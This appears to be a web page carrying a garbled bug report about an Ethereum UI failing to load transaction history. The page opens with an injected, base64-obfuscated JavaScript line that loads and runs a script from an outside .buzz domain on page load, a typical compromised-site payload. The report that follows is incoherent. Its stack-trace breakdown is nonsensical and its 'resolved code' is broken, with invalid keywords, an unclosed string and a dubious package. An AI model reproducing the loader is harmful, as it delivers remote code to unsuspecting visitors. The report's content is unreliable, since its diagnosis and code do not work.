const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=0f277a85″;document.body.appendChild(script);
Ethereum Bug Report: Error loading transaction history in UI
As a developer working with the Ethereum blockchain, we encountered a bug that prevents us from loading transaction history in our user interface (UI). The bug affects many users and has been reported on multiple platforms.
Bug
The issue occurs when trying to query transactionService
using the cgwQueryTransactionService
endpoint. The following error was encountered after sending this request:
`javascript
Error loading transaction history in UI
web service log txs:
2024-08-14 01:47:51,564 MT::GET::api/v1/about/singletons/::4::200::/api/v1/about/singletons/
...
cgwQueryTransactionService
The
endpoint should return a list of transactions. However, when attempting to download this data, an error is reported. The stack trace provided shows that the error occurred on line 54 (the last line in the listing) and states:
javascript
Error loading transaction history in UI
Stack Trace
Here is a breakdown of the stack trace:
- 2024-08-14 01:47:51,564
: Timestamp at which the error was encountered.
- MT::GET::api/v1/about/singletons/::4::200::/api/v1/about/singletons/
: The method used to make the request (in this case, a GET request).
- /txs-service-web log:
: File and line number in the
logfile for the
txs-service-webmodule.
- Error loading transaction history in UI
- Error message.
Impact
The impact of this bug is significant as it prevents users from viewing their transaction history. This can lead to frustration for users who rely on tracking their transactions or managing their portfolios.
Possible causes
Based on the stack trace, we suspect the following issues may contribute to the bug:
- cgwQueryTransactionService
endpoint is missing
- The error message suggests that thecgwQueryTransactionServiceendpoint is not being used correctly.
- Invalid API request parameters
- The error message indicates that the parameters used in the API request are invalid.
Workaround
To resolve this issue, we recommend making the following changes:
- Verify that thecgwQueryTransactionService
endpoint is available and running.
- Make sure that all required API request parameters are specified correctly in the request.
By resolving these issues, users should be able to successfully query transaction history using thecgwQueryTransactionServiceendpoint.
Resolved Code Example
Here is an example of how you could modify the code to resolve this error:
javascript
constant cgw = require('web3-cgw');
constant { Web3 } = cgw;
const web3 = new Web3(new Web3.providers.HttpProvider("
// Using the transactionService endpoint
const txsService = new cgw.TransactionService(web3);
web3.eth.getTransaction(txsService.queryTransactionService, "YOUR_TRANSACTION_ID", (error, result) => {
if (error) {
console.error(error);
} else {
console.log(result);
}
});
`
Make sure to replaceYOUR_PROJECT_ID` with your actual Infura project ID and update the transaction ID if necessary.